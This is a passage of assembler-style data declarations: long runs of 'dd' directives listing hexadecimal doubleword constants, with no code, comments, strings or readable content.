0B9884877h, 7578094Ah, 9383D154h, 4F252761h, 0B059D6EBh dd 1B68C382h, 1CB6BFFh, 0A10FE913h, 1DF67B49h, 7031910h dd 0CB895952h, 1DB55A37h, 0F533E4BAh, 6A5DDDF9h, 310E17C0h dd 81574CFCh, 0E9E6CC5Bh, 0EDE1B24Fh, 0E860AC2Ah, 16BB2D68h dd 0F913F8C7h, 7551A709h, 5288B4D1h, 0C0449BAh, 0A0C0EC5Ah dd 0B46E7668h, 1732623Bh, 2E1F9EDDh, 69CB85A8h, 5D70D160h dd 5877210Ah, 0D325062Dh, 3B6F08DBh, 924E5F25h, 0AD95328Eh dd 0A67E4052h, 1A4D7ECh, 166B6088h, 53FA015Ch, 0AF0B7CBFh dd 4E73357Ch, 0C934D8B2h, 4C1A45F4h, 7C0ACDB8h, 0D4E967C2h dd 31AB146Ah, 4A36003h, 179F8A3Eh, 22A46616h, 0B28EF030h dd 707EB55Ch, 9D062EF0h, 20C16C13h, 0BE84C346h, 0E72B9F39h dd 68E15BB1h, 3846797Fh, 46E9C37Fh, 0EB31201h, 0BDEB4E17h dd 0BB0A8444h, 0E98037EDh, 0C966149Ah, 1F825F95h, 0F657E084h dd 0ACE2E08Eh, 324A1D7Eh, 83DB24EBh, 0BED86777h, 1AC14A2Eh dd 0FEBDDAC3h, 12A33C60h, 0B6E8853h, 64F7BADEh, 9C2A9E54h dd 0ACA9533Fh, 91EFC6B0h, 964D7BB3h, 0C8134FC4h, 725D287Dh dd 93C61398h, 0C452F2EAh, 21D50BDBh, 15CE0AFh, 985FC87Ch dd 0B164740Ah, 8EA0217h, 4107721h, 4A167410h, 5DEE810Ah dd 2F97D13Eh, 0EE4F35FCh, 84249D29h, 0DF793BD3h, 5747E913h dd 9212EAAAh, 5A2BF6FFh, 449549EAh, 3FC539AEh, 6B84B44Dh dd 1E464900h, 0B4EB8ABAh, 75B0A261h, 85FD86CAh, 80E87FF3h dd 35834038h, 702E1C8Ah, 0C2500BE1h, 25DEFB5Dh, 1004E328h dd 0EA305F89h, 955B4868h, 384BB87Bh, 0B95BDE9Eh, 263BA4B7h dd 1E3B091Bh, 9346497Ch, 685C2451h, 1118255Bh, 1595A958h dd 8ACAC3Ah, 2D03976Bh, 50B831AEh, 95DCD846h, 6ED1A486h dd 0D6C64825h, 5044ECF0h, 12976805h, 8EC26715h, 3C51FFF8h dd 80C31C6Ch, 24A055Ah, 0F9EE3264h, 15621BD4h, 23AEB127h dd 35F48C2Bh, 0F65F6760h, 0B8DA7388h, 4D669ADh, 330B2DD0h dd 0A4637244h, 28EE7D94h, 622C6842h, 2A6C0431h, 0E4279F7Ah dd 923775C7h, 0B3C057BFh, 2FF0307Bh, 0F028CBB7h, 0F7BEE940h dd 3125CB0h, 8B040E35h, 0C589DCB5h, 926BDEFh, 87D5F7h dd 0DF74F16Fh, 4D7A7FEBh, 0B612E8CDh, 0A1B400A3h, 0CEFEDEF6h dd 2C300ECEh, 4D88FEF5h, 67897611h, 5F9168D0h, 98B6572Dh dd 6C93D298h, 69D6BD00h, 581210Fh, 79083AF5h, 7DCCFF2Fh dd 0A5C441E2h, 7207D648h, 0B8D2C105h, 5FC7C67Fh, 0C059097Ch dd 5EFE02EBh, 0EB92C38Fh, 10E1E3FDh, 2A6073Ah, 0EA4284BAh dd 127D602Dh, 3AE3C6Ch, 0DA5180CBh, 0C74BBAE9h, 0ADCD90AEh dd 29024516h, 0AB6A67BDh, 7BAEFDA4h, 0C5436064h, 0DDC4FAB1h dd 0D39D88FAh, 724C2B78h, 503901E4h, 4AE977A3h, 0C126416Bh dd 2F063843h, 3F1764F0h, 19DBDC22h, 3B0806A3h, 0C712C1A6h dd 0D7F3BB4Eh, 9504513Bh, 0D95ED90Fh, 1DB27FFCh, 4799AC4Fh dd 10464814h, 40218DEh, 72B35363h, 6CC18E5Fh, 0F92CB8F8h dd 0CD7DA12Eh, 0E1DE2436h, 3A15D31Fh, 0C5CFC070h, 9829F2F3h dd 8AC324A5h, 0BCD953F7h, 4E169DAEh, 490CB68Ch, 0AD8296EFh dd 66548292h, 916F22Dh, 46DD0FFDh, 69DE5975h, 0F9E4C389h dd 0F1F5FA27h, 9FAF42F0h, 379E14FDh, 0DDA2595Bh, 1B4A8003h dd 1EE9C5Fh, 0C01096DAh, 0AEDC78F2h, 5851F58h, 192120C5h dd 5C508A05h, 6F44A3D9h, 1C43F1EBh, 0A927E958h, 5EFE95Ah dd 510E707h, 8900FB82h, 3E4DB951h, 0AE4550AFh, 0A440260Eh dd 7DEC09B8h, 0AC127B57h, 605DE980h, 9D5E535Ch, 31251414h dd 0C9447CF7h, 0F030B904h, 4E18BA93h, 0B8F10A60h, 7D7E2572h dd 0B0812175h, 0C2DE85C2h, 0CBF8578Fh, 0D4F9292Ch, 1C0BBB60h dd 21150D11h, 0F0C05BD9h, 0B5087Bh, 0AD8E5864h, 0CB291D41h dd 0E36056E9h, 625E127Eh, 2B7CB5AFh, 12D62BCh, 9F505089h dd 450AF19Fh, 827FF5Ch, 0BB1712F4h, 156BACD0h, 9201370h dd 3B2A08D0h, 0A103CE24h, 0DA07C440h, 744D4A9Fh, 0B44F3D80h dd 5944F7EBh, 0F8115B6Eh, 0A24EC4AFh, 0A6F1560Bh, 0B422DC24h dd 9A07C0BDh, 0C33272Bh, 40139FF0h, 8BA0E883h, 0EA2F0F4Ah dd 4EB1316Ch, 6AEB8392h, 7C51DDC6h, 0F72197E2h, 8B7711B2h dd 0C20DFEC1h, 0C2D409F8h, 0F5A7708Ch, 2C45B0C5h, 4050D9Dh dd 0EC04AB68h, 61D0C15Ah, 0FE2A3FE7h, 0FE2C1145h, 5590F482h dd 0FD686118h, 3331394Bh, 31972B1Bh, 94D4FB0Dh, 3EED1BC1h dd 7F2C7A0h, 14FC3293h dd 580CD259h, 2C62B8FCh, 6E47568Bh, 5CDE67FEh, 6310E958h dd 5FF5D394h, 9FA3DFBh, 0AB4257D6h, 2DBD284Dh, 0CC0094F2h dd 407A8950h, 38B205h, 44350CFBh, 31BDED68h, 0C537DE9Fh dd 0AA44EE1Ah, 0A1575905h, 5D41E445h, 0C0060227h, 0EA719485h dd 0F9E2B503h, 5DCE8440h, 0DA89091Fh, 7EA1E906h, 68C20ADBh dd 0C0BB5286h, 3EEB755Dh, 57B400BDh, 100ABFh, 0F7815C5Ah dd 1744024Ah, 0D54AE3B0h, 0A86F31FBh, 5AB269D8h, 14486DBDh dd 9580FD2Ah, 0F2ABBB57h, 261076B9h, 9EC4CCCCh, 11C67B01h dd 8E1CE958h, 4E278124h, 0EE523535h, 522006E1h, 0BA4E3CD3h dd 417EE14Ah, 0CB611D53h, 0F1D4AEDCh, 61C081Ah, 9E25F17h dd 6C152D65h, 5550550Bh, 0DCB70998h, 0CBFE4043h, 0EBF4DBF6h dd 2FD8E9FBh, 0BEC9DCB3h, 15F3E21h, 4CE488F1h, 88592786h dd 60C138E2h, 8243DE17h, 424F6D4h, 2D9C5715h, 179176FDh dd 0F9F83559h, 16FB1874h, 83A58A7Bh, 44DBD200h, 0C7BD721Fh dd 0B81306FEh, 20A0F4E9h, 0E8835924h, 69B3D12Dh, 0C876830h dd 65B1D597h, 0C9946A68h, 2C54F798h, 40A218E9h, 0A1B6FDEEh dd 0CF5A567Bh, 94BAF8C5h, 0B6FBEC39h, 2CD3587Ah, 61D77C27h dd 0A512C47h, 0F0248DE9h, 5E6D2D68h, 5B27B646h, 0B017D343h dd 1F089753h, 93403F5Dh, 5F0C1510h, 0D19340F3h, 5017AABh dd 0C11662A8h, 0D621A8EFh, 308CBE19h, 0F11B046Bh, 0E8891EDAh dd 81A7301Eh, 0E43F5F30h, 770BC6D1h, 781AB61Eh, 355A0996h dd 0C0753154h, 948F9BAh, 0F3017FBCh, 9D4496F7h, 0FC824B1Ah dd 59CC01AEh, 7D14920h, 7E69920Dh, 0A860A266h, 0DDD9F749h dd 64002F14h, 269DC5BAh, 0FA291325h, 3AAE8D5Fh, 636574C0h dd 3D350030h, 0E92EF80Bh, 5C9FF906h, 2A51512Dh, 6C4121C0h dd 68500439h, 0C2B431A3h, 17763D13h, 75539309h, 0F4576411h dd 0AFB2F284h, 0C27C329Dh, 60F6573Ah, 263DC108h, 54AE00DCh dd 0CE013F92h, 0C1CCB2B5h, 97E0D1Ah, 90DC5D36h, 0FD2B6879h dd 138284D0h, 73D9FB17h, 7B9F7BF4h, 0A0BDB80Ch, 7505268h dd 0F029E7E1h, 0C1D8A55Eh, 23461CB5h, 0EB5CCFECh, 1709F0B8h dd 0C0D05AB2h, 0D188F390h, 0F0C9D8F1h, 3C72E9F2h, 0DB9FF92Ah dd 0A73B270Eh, 2691A363h, 905C828h, 77C93A71h, 3DA479AEh dd 8648E993h, 819D8C11h, 4C3F3C49h, 2C34B02Ah, 146539Dh dd 46211BBDh, 0B3F9888Bh, 4EFB2056h, 0D61FAAEDh, 0FD621D0Bh dd 1CDDEB64h, 0C860D90Fh, 4765ADBAh, 10685701h, 5FCDD047h dd 0C781DFD2h, 70992E1Bh, 0E39DFD24h, 0D80F41Ch, 497DD4AFh dd 9879B488h, 1A4B201Dh, 0DF895916h, 0E1995104h, 1518310Bh dd 2829477h, 0F1036BDh, 2736FBEh, 25501408h, 47452FDFh dd 5F091E94h, 0B81C267Bh, 0D5D2F0C4h, 556182EBh, 3613B68h dd 0A63C942Ch, 5D2F07A0h, 86A5F721h, 5E40EC47h, 3C55C09Eh dd 16CB8F7Eh, 0B3E94F42h, 6067AFD6h, 848CF6C9h, 0EFD567E9h dd 522773A2h, 2F20ED5Fh, 0B7ECA7D4h, 0FE6049B2h, 2880703Dh dd 0CA814A22h, 793B6AD1h, 35F20229h, 5870CB76h, 2C12C0F1h dd 0E96EC823h, 404CBC32h, 8BF840ADh, 5DF10041h, 8D4B2E2Dh dd 0D0482922h, 7B4F1EE6h, 0C9816A80h, 0B07437EBh, 0DAE901BAh dd 0C10D4841h, 0D03021E1h, 293F69DEh, 0C878380Fh, 36C5804Ah dd 0F8DD742Dh, 56B54F76h, 0DDC6AB99h, 20C30F0Ch, 0FB320DE5h dd 4B932441h, 7970543Ah, 0F5401DFAh, 46CB8136h, 2B513B24h dd 14E684B4h, 0EF2FD53Ah, 2118710Bh, 123C1A8Ah, 0A14BFD59h dd 0A3347BDAh, 6BA4EEF0h, 16FF0E38h, 42C70063h, 54741230h dd 5A77311Ch, 0C2DFE92Fh, 5CEDD5ACh, 728C3C26h, 0EF3F111h dd 18D03EA2h, 6C69EBC0h, 0E915192Ch, 3B959816h, 1B90985Dh dd 5FCBE40h, 31667156h, 41DCC5F7h, 8F697B67h, 0E4102F3Bh dd 6DF94F07h, 362CEF80h, 0CC16E32h, 7870AA5h, 8F6502Ah dd 15140C68h, 0BB94955Ah, 71494B2Dh, 0CE5FCAC6h, 0C6049F93h dd 682FCCACh, 763DCA2Dh, 875E5497h, 358425ADh, 0B3E3AFD6h dd 2111028Dh, 0F0F52E5Dh, 0C8FE2745h, 834EF8FBh, 0C9DEB5ADh dd 0DF996A3h, 0D8BE5BE4h, 47417564h, 7B5B017Eh, 860A457Ah dd 0C4F6BA24h, 8BF1316Ch, 7C4CFBAFh, 6BBF849Bh, 886F16EEh dd 5FB05ECCh, 4C4AF127h, 0F34EB77h, 1339B009h, 0C52E0D1h dd 0F6FFBA03h, 6AEC3C5Fh, 0E22BB741h, 3D9C7ACh, 0E3BB5935h dd 62023A43h, 61D0F742h, 0D93B53B4h, 0BA9D2F16h, 0CC1A18CEh dd 0E1A97F95h, 14360E00h, 1FBB5A35h, 7148927h, 0C7F2D104h dd 3F5FF008h, 2F751FF9h, 64D449F6h, 0E0DECB6Fh, 728850FCh dd 36E25CECh, 9DB87D27h, 60E1262Ch, 3801B7BEh, 0E925B050h dd 0C62654D5h, 0D42CBE92h, 41151FB7h, 0C3F58349h, 0E9B19D7Bh dd 251F7A01h, 0FE0051DCh, 0F6805B66h, 0C07CFC47h, 41E58163h dd 1E4B965Fh, 6D031AA9h, 55BD10D1h, 0E37D398Fh, 60C02F0h dd 12C5F69h, 75C92B77h, 11838BCCh, 0EC7A81EDh, 68350766h dd 0CE22C85h, 30276312h, 52C1FE9Dh, 285CB279h, 958A5026h dd 5801B080h, 0E77D6680h, 77D6EDD5h, 0A054B7DEh, 0C2481038h dd 5BF88844h, 0C2F2536Ch, 40535827h, 25E9FDF4h, 54AABACBh dd 768843Dh, 0ACFE1F0Ah, 5821340h, 0C12E228Eh, 3C2430C2h dd 2B500F68h, 0B0720F19h, 4BF472EFh, 3DB85700h, 3179C35Fh dd 6EE925E8h, 0B8F7678Bh, 97623F6Eh, 0B109F2C7h, 5A6B5649h dd 0C9B6F95Dh, 7AA0B78Eh, 310539FAh, 0EEB0C11Fh, 0B6A95DADh dd 89808F7Fh, 96272F9h, 618B38A0h, 8A0B05Eh, 0AB68D696h dd 201EFD2Fh, 6AD21440h, 0B8C5DF0Ch, 2DC4A12Fh, 0B07D66AAh dd 973887A5h, 840FD1Ah, 0C5B7110Fh, 533F011Dh, 0C0B45051h dd 4EA4E588h, 0A7C276B5h, 0C94E1F40h, 0D6784881h, 2ED62F79h dd 44F895Eh, 14B82728h, 5204D192h, 0E90B8954h, 31A0A259h dd 2CFCFBDAh, 6A746023h, 0E92FD1FDh, 0DF5C6284h, 8C88C54Dh dd 0CEB504C0h, 0AC078128h, 0EA81013Ch, 2C20A56Eh, 69E9A026h dd 0E3ECBF03h, 60BF8195h, 0E9C84D55h, 475E417Fh, 82B4726Ah dd 6F5E717Dh, 1C7327C6h, 59C82113h, 9E5BD7F6h, 19E9096Ch dd 35F15F0Ah, 0AA855549h, 0BB07D2C7h, 0BD184E75h, 44BD7AF2h dd 8B752022h, 0C34A6D90h, 2A7CE6EDh, 77BBB12Eh, 3AB92FF3h dd 0D80BC67Ah, 0F2A2A59Ah, 0B53820D8h, 18ED2D4Bh, 56830975h dd 66602FB1h, 4D05D2BBh, 29E93EE4h, 8F50E749h, 11B4D27Dh dd 3F2B41A9h, 0DD0279C5h, 40BB272Ch, 8341F223h, 17071C3Ch dd 24EE22AAh, 0A199AB05h, 5C8DE5CDh, 3B2488DEh, 1FF6AF1h dd 0C9F7815Fh, 8C0E0533h, 1C2E1F0Ch, 24B5BE9h, 0C9FE5AB9h dd 87A4F871h, 10E7FD14h, 5E04EBB6h, 0BC0AE268h, 72DFC1C0h dd 0B7387960h, 0B693B87Bh, 586C0817h, 2076BA00h, 5C312F4Eh dd 1C22AFEAh, 5297C1B0h, 1DB180DFh, 14C382Bh, 8116C3A6h dd 3BE4BF57h, 0D83892F4h, 5E8B8FB0h, 5C29AA0Ch, 0A04AF82Eh dd 3412E8C1h, 0C205C831h, 1DD0AA96h, 0DFDAF72Dh, 0BCC224ABh dd 0FDC0A08Fh, 98E98F02h, 355A4660h, 481270D8h, 47208618h dd 7D2C5B16h, 0AB2DF3BCh, 0EA4F5CD1h, 0D40CF177h, 1EB96E63h dd 2D1F6808h, 0C59D51F8h, 7253FF9h, 8543675Dh, 0D8277B68h dd 0D198ACDh, 0D0665803h, 0D80EAA54h, 680D185Fh, 5B1D1CCAh dd 0ACDDA511h, 4E6C9A0Dh, 40C4445h, 6041F5C3h, 21F92BAh dd 684926D4h, 0A5AD5B7Eh dd 81A534DFh, 0F7DCE7E3h, 0EF81251Ch, 0EAE928A1h, 5FC2A37h dd 0CBBE558Eh, 339ABEDFh, 0E4703DDh, 0BB4C0240h, 62536373h dd 0C0B242DDh, 27A1F7CFh, 19833B88h, 0DFA8D325h, 9159E90Ah dd 29AE5EF4h, 93F67F7Eh, 0B6E76813h, 6C151776h, 71BE4E01h dd 0E683EC02h, 0D01349C6h, 4073A9DDh, 46975A08h, 0B4575028h dd 585D7FA0h, 4420D531h, 74B9AF83h, 2128356Dh, 61B86E77h dd 6246012Fh, 903EE912h, 0EE959CFEh, 942D7B90h, 0C9C47973h dd 1608FA5Dh, 0A9C032E9h, 0CB04925Fh, 7CB44B92h, 1A87AC3h dd 38AEB8D2h, 2E017FF2h, 0C55B07F9h, 9A0A9C1Fh, 923F9E41h dd 8AE06ACCh, 55485748h, 50A005CDh, 1FA833A9h, 5ADC0978h dd 2076414Dh, 5AF4FA9Eh, 4A5EC5C1h, 87BF5680h, 0F765367Dh dd 312D748h, 5CF16151h, 4307909h, 4D351CCAh, 81C68562h dd 0F01B23C6h, 5F12E1E9h, 50BB0237h, 4A7D08F1h, 59DFC014h dd 6802DA2Dh, 0D829518Eh, 0E9078105h, 11258CA6h, 41D4EF60h dd 52D12F10h, 5E3111F1h, 213A02D9h, 4D1414Dh, 2FFBE680h dd 187658EEh, 611D5C05h, 22AC016Eh, 6E41F4F5h, 95EF6417h dd 54942C7Bh, 6B8E5966h, 0E544285Fh, 0FE5F5742h, 0EC509548h dd 0BC7F5F1Fh, 0E556C996h, 0DED8C24Bh, 5180F553h, 0DF34C0B9h dd 4D5906Bh, 66734EA0h, 494B8009h, 0A2675BE9h, 2A17C237h dd 0A8012D32h, 581A08FFh, 5C6ADF1Eh, 0AC7D048Bh, 5AE9C868h dd 0F0291E83h, 6D29A770h, 33A1D55Eh, 3DEE2F20h, 0D14B283Eh dd 0D01FF6A0h, 0F8ED7FB3h, 861B4277h, 4D6C150h, 1433C8E8h dd 0E9FA8017h, 19952B08h, 0F47FDE4Ah, 949D1412h, 7DDBB5AAh dd 3F17C50Eh, 0B20C5698h, 3593255Eh, 1130A979h, 97BE3CE9h dd 7C9D68EEh, 0D6757279h, 0DB3E676Fh, 5362D1D6h, 80DEEE54h dd 7B210D98h, 4FEE907Ah, 6A21AA66h, 0A82E8C1Bh, 0A34B9E0Eh dd 70BED763h, 0D4F3E92Dh, 3FD8A89h, 0E5839C5Eh, 84C645D5h dd 0FE1679E9h, 0B3543572h, 5771F41Ch, 0E3C94468h, 805F25AFh dd 640B811h, 2D6802ACh, 2E21DABFh, 0BB04E1h, 0BF59692Ch dd 2BC88531h, 83BDC300h, 9732EE63h, 488D2860h, 8E693A96h dd 32B1D253h, 8191F122h, 0ADD34413h, 1D771048h, 0A505BE5Fh dd 31EE105Ch, 337F5793h, 6AF878FFh, 969FC07Ah, 5A61209Fh dd 59EB2800h, 0FE71B652h, 4A06FAC6h, 6D0C90A1h, 8279D5Eh dd 81C85447h, 0F9CAADE1h, 60EE2121h, 0E9244235h, 59AF10D7h dd 80E9C1B8h, 0F2081F0h, 7E1868C8h, 0A9EEB459h, 0CD8600EEh dd 1244B634h, 0A3C5685Ah, 2D90611Eh, 64C2D05Ch, 6C3602B2h dd 0C1E91E6Fh, 0FD916A57h, 524FBBD2h, 48EB3D89h, 0E103B0AEh dd 12193EFBh, 34C80C06h, 97C203Fh, 26ED602Ch, 83EFC284h dd 0A8D9F796h, 3CAE2BBFh, 241B16Ah, 534F464h, 876814ACh dd 37B44567h, 241000E6h, 0D071A1Fh, 0E17EB601h, 5178E960h dd 0AE04AC00h, 0BA401DB8h, 95F4BFB9h, 18132910h, 7D7C29C5h dd 9E9B0013h, 75E9C121h, 0F227C05Fh, 347E033Bh, 6BBF83A3h dd 6C689E20h, 6625D329h, 0F9A0755Dh, 8619738Ch, 2CE9893Eh dd 0BA838453h, 0D26CAA1Ah, 68F0A1A7h, 0DE4D73BDh, 543BF48Bh dd 560D07DEh, 25313469h, 0C11FD130h, 0D56F500Dh, 5940004h dd 0EF774B0Dh, 68082110h, 0B024140Ch, 0FED32020h, 319A2F05h dd 3602CDD9h, 5F8F8301h, 25A04805h, 0F1A3A8B4h, 9220478Fh dd 0B62EFFAEh, 0EBD54087h, 45AD3200h, 3637710Dh, 0C2E91056h dd 0D7892549h, 0C4B7B916h, 0B2B5EE8h, 245D5D9Dh, 0F2957C5Bh dd 0CABE2253h, 1E711666h, 76FA0061h, 2B81BE04h, 5902497Eh dd 0DB8FFC55h, 0CCAEDD4Ah, 14160C5h, 379E4888h, 154560Bh dd 76656864h, 37CF7868h, 826B4925h, 0A49B2A78h, 522825C7h dd 355C0915h, 53EB99DFh, 79CB690h, 34CAB050h, 0C2E346EFh dd 35480214h, 89AE561h, 3A4AD877h, 642E1B4Ah, 7EF1490h dd 5B2CF48h, 54BF8FFh, 0BD1CB32Dh, 6204AF5Ch, 0F7CD45ECh dd 53350A7Bh, 0CBA696h, 1D6A73F8h, 38FCF129h, 9AFF549h dd 82CF09CDh, 0DF9B1AC0h, 189DDB2h, 5EA639DCh, 23351A18h dd 135E3D21h, 0ACCEE23Fh, 3B2C43Eh, 0AC5C65FEh, 72D7DBEh dd 5BB1A436h, 288541C8h, 583E23Bh, 0F13170E9h, 0D9A0047Bh dd 823C1F7Eh, 0ADC24BD3h, 85714089h, 2373BFF2h, 17085CC9h dd 0AE98AF45h, 80CD09FEh, 8E5F3AEDh, 4D8646Ah, 684981BBh dd 500A6843h, 63D322FCh, 780AE003h, 90C9B07Ah, 2F2C3D53h dd 0A9C54292h, 616D9F2Eh, 0F4F02D83h, 299490B0h, 2D132A9Ah dd 952FF74h, 2FD9F5F0h, 22395C59h, 0B446EA16h, 52780A39h dd 49D97F4Ch, 0F65E25FBh, 0E257256Ah, 0E9B91869h, 0F4C05EC5h dd 3B5A3AADh, 0E90C1BDAh, 532CE43Fh, 2BC4680Bh, 0F6D20E16h dd 41F16C53h, 0CBBCAC3Ah, 0B50E72BFh, 923F8959h, 4B53E8DCh dd 622DAA83h, 4E93842Fh, 0E055D99Ah, 0B654520h, 0C3E946F3h dd 0DF9702F8h, 689AC031h, 74194C69h, 59CFE76h, 30FD6860h dd 582E004Fh, 0B6F6252Dh, 362DE90Eh, 611D3273h, 3C7B12D6h dd 4E171FDh, 0AC7EE0B1h, 60492DC9h, 39C7801Dh, 6681FE14h dd 30EEB450h, 0E22FDBE7h, 0BF09007Ch, 7A692ABCh, 0F7EC6040h dd 0C828AA04h, 0ACF62C74h, 6D27564Ah, 0BCE2E235h, 0B6774CC7h dd 23FEA015h, 5266E500h, 0DA1383BAh, 920F95Ch, 0E0CD0BE6h dd 1882D509h, 0F8742140h, 0F92E8560h, 48E9171Dh, 0DA85D0DBh dd 63765653h, 0B52DEE01h, 0CEE961BBh, 581C577Ch, 0BE658725h dd 2F03502Bh, 0F72C29FBh, 620554D0h, 0E9AC3B1Ch, 0E170CD3Fh dd 6B069D3Eh, 12490404h, 0EB8043D1h, 4EBD5530h, 82E5340Dh dd 0C31B63FAh, 0C4448D7Dh, 0C21236B6h, 5E555B96h, 0FE74506Dh dd 8CCF0490h, 0B48E0607h, 94F99F34h, 80E82F3Eh, 5DA7B896h dd 89705CEDh, 0BA0C8D20h, 0FE25158Eh, 7A4163F3h, 0B653568h dd 8DFFEA14h, 0B2CD0476h, 284A13EDh, 7A35A1D0h, 4D657BDBh dd 0BD03083Dh, 173A475Bh, 3E5540D1h, 66073BA7h, 4B1AD8BDh dd 3FF33F82h, 7183CD6h, 98E8C512h, 0E955095Eh, 6CDDCA95h dd 55EDF67Ah, 2268D798h, 17E30D50h, 3785F2Eh, 541B6002h dd 0D2F74AB0h, 0B054258h, 2F8476Fh, 5F618549h, 0CE4AE7Eh dd 4AE94DC8h, 0C1288476h, 0D084F1B8h, 0B5A17EE6h, 2C3AFD02h dd 0EE800B14h, 0E8FCE81Eh, 82D582A4h, 4E34CDh, 8F2DBCB9h dd 43BD2101h, 31DE70D2h, 21262D3Bh, 70FC6F04h, 77D3905Eh dd 285B2539h, 14D81FAAh, 0E9850C6Ch, 681CD04Eh, 279137B3h dd 5E1285A6h, 0CBABF556h, 22085A87h, 0BE501218h, 0AA69B568h dd 5840F5C0h, 5520672Ah, 0B2581D68h, 1C98E212h, 6A3A8D0Dh dd 0C1E16806h, 41E0846h, 5550FCC3h, 0A050BF78h, 0F6E90908h dd 4DFB57C0h, 0D759CD8Bh, 81A87EC7h, 4FA9F449h, 68D336B1h dd 0FDC1384h, 0ECD2DFDEh, 313E7E23h, 0C8FB4EFAh, 222DE96Ah dd 0A8AE6C4Bh, 0B77842AEh, 0DB963354h, 463509E1h, 8B28F67Eh dd 17E7F55Ah, 0CC40B027h, 0F0B880A1h, 15126116h, 0F417141Fh dd 7FBF2D82h, 2AB3BFA9h, 0FE579DA2h, 840F6100h, 0AA8D6h dd 18097C25h, 0E1F2D91h, 0E9504D3Ah, 536AC34Bh, 12539F0h dd 80491205h, 0D5594790h, 1B559762h, 0A63E1348h, 0E0BE8987h dd 3CD21C15h, 3FE2E1FAh, 5D627438h, 59304D6h, 0FE1BBB25h dd 0A37E486Dh, 0B66817D7h, 0C0A034BAh, 0D16C26FDh, 20944776h dd 0B24ECD02h, 97BC217h dd 0DE8FC006h, 0B82E2A93h, 0F9895FCCh, 0D5AE93A0h, 0E87685D7h dd 0E2280E6Ch, 0D0133C58h, 901860F2h, 7B06D10Bh, 8194AFBCh dd 0C0F80DD1h, 0C04263F0h, 4945DF48h, 9A945D25h, 68051499h dd 1EF823E4h, 98DF67DFh, 0C418F723h, 8F311B7Fh, 812C7E34h dd 0B4917DEh, 24AE1D91h, 273D105Ah, 0DCCCA357h, 0BF13018Dh dd 69BA16A6h, 97A4FD81h, 0EF99890Dh, 0B92CBE3Bh, 0C0B2CE9h dd 1BC78205h, 3772301Ch, 642E45E6h, 7C0BE061h, 50034842h dd 0B1BC5AB8h, 73042A4Bh, 8809D1A9h, 5DA842F5h, 0E961BE65h dd 202B3E8Bh, 3DB2528Fh, 0D18807C5h, 0BCC5382h, 188755Ch dd 0F35E144Fh, 4077EF26h, 3331FDF1h, 0E8897E27h, 3F38DEBAh dd 0E6820FCBh, 486A3EDFh, 2E1925E0h, 997DB0Ch, 2DD048F7h dd 0ACEAFEFCh, 51519841h, 28AFB8Dh, 92B4FE5Ch, 5EBD829Eh dd 9B582C56h, 8F7B957Ah, 0B6AEDB13h, 0C656362Ch, 68089659h dd 4D623D32h, 900162Ah, 4F850FDBh, 6884C05Dh, 18971CE5h dd 80DC2939h, 0C81ED505h, 4F89EF9Fh, 2E5AABh, 0EADE7DF6h dd 86685183h, 0CD1F0B55h, 20D1D5F2h, 0E977CABCh, 0FA97A79Ah dd 0DDF648A1h, 8923081Fh, 0E0640D63h, 2C6EB43Dh, 74A79E28h dd 31358B02h, 0EA01F720h, 0F4BB5E68h, 9E06DE83h, 0F7FAFA7Ch dd 952CBC52h, 0D80C175h, 417A0903h, 1C12C83h, 0F7518417h dd 40C4E614h, 0F304C7FAh, 0CE0117DBh, 0E50D5E3h, 0EBB4806Eh dd 0A2C53BE1h, 0A8C9C8AEh, 0CB2AF99Fh, 1B027C0Bh, 0D0A04971h dd 98568C3h, 8D6282B4h, 0F71840F9h, 0FB4B0DBh, 356C2397h dd 0CD2CFDA7h, 0E1AA311Ah, 32FA60B5h, 0C14A9090h, 0D52F1CDDh dd 1002AC9Ah, 2D036277h, 410B361Ah, 7DCE68D8h, 3839C889h dd 0E4700D76h, 1428777h, 2823279h, 27FB6153h, 4CD2F72Eh dd 0F2BE929Ch, 0CB283449h, 0A30DFCEEh, 8B1C4E1Ah, 3CB31CC8h dd 3FB0D812h, 0CDB959E9h, 0F1ED8009h, 0E62EF6D2h, 28599D58h dd 3BA3B87Bh, 0E9D80A1Ch, 0AD8BD591h, 50E0F72Dh, 0D62EF68h dd 7EA85F9h, 0F447A1BAh, 4DE93057h, 43FD0E8h, 124AB0D1h dd 7F3542E4h, 0A1CA062Bh, 186A1C3Eh, 0D81AD709h, 3AF7D80Dh dd 0AECAC35Fh, 5E9A2B80h, 0B1C4CF5h, 0F5F89628h, 652E0C82h dd 0A8DD6AA8h, 87090862h, 0B27204F2h, 56575B00h, 1413D668h dd 31D14205h, 0C26627DDh, 2946A44Bh, 2A4EF0C9h, 2D3849C0h dd 7819D6F1h, 784833E9h, 0CCEF92F9h, 215E9F81h, 44DCCBA5h dd 0FFBB7EFh, 1A266886h, 2F032F49h, 9C631D5Ch, 25C17E9Bh dd 457F7C7Fh, 0BD2E8BCBh, 0C9254A79h, 4630C095h, 0D6F2BFDAh dd 985B6A25h, 1270048Ch, 855E3B17h, 382CEEF7h, 0AD008A01h dd 2BA54067h, 0BD82DFB8h, 37E90801h, 0A2487F38h, 8A90A3ABh dd 0BC519137h, 1089F92Dh, 0E48C9765h, 0B0478505h, 0EC315FF2h dd 6AF11248h, 3F868ABAh, 8C2B2C52h, 0D2C28081h, 0EAD5CA28h dd 128259D5h, 5AF8E99Dh, 0B36CD1A5h, 0E5257D7Ah, 0E16DF7D9h dd 2D8EA588h, 638166DEh, 5F544109h, 701AF61h, 2970C731h dd 0A3D19551h, 0D030DFE9h, 0C502EF81h, 1536027h, 9BAC2F7h dd 4768508h, 0B2FE40BEh, 89303E12h, 4FD4789Fh, 3FBA0DDh dd 21258C1Ah, 0F0A20016h, 5A75F302h, 0FD930909h, 0DC576342h dd 6E58D9CCh, 0A7FAF685h, 2C57305Fh, 4FF269C9h, 333FC65h dd 1BF3BD55h, 0EF31893Ch, 5034282Eh, 6D386C98h, 69EA4B40h dd 9FC3A07h, 0CEC944A4h, 84871FFCh, 1F92C328h, 42A0DEB4h dd 76091D8Eh, 0E79D3940h, 84F78C6Ah, 30068D12h, 0E1205BFCh dd 21E913F9h, 8C978DECh, 57256369h, 0E15D60E8h, 422BF068h dd 0BC596E30h, 1EA07969h, 14F92975h, 994B08C1h, 8C4DD1C6h dd 0B5E0EB93h, 5DC2BFBAh, 0CE533D5Eh, 400E900Ch, 445A6859h dd 0CB93A11Eh, 0A368255Fh, 1205615Ah, 0FA01E8D1h, 1F5A7046h dd 914454F4h, 7E933B87h, 0CCCAE86Bh, 98316D63h, 986825DBh dd 26C2FD7Eh, 0E9540061h, 1EAAF9BCh, 720BB55Ch, 767DFA7h dd 0A0E1F309h, 2F7CB4F3h, 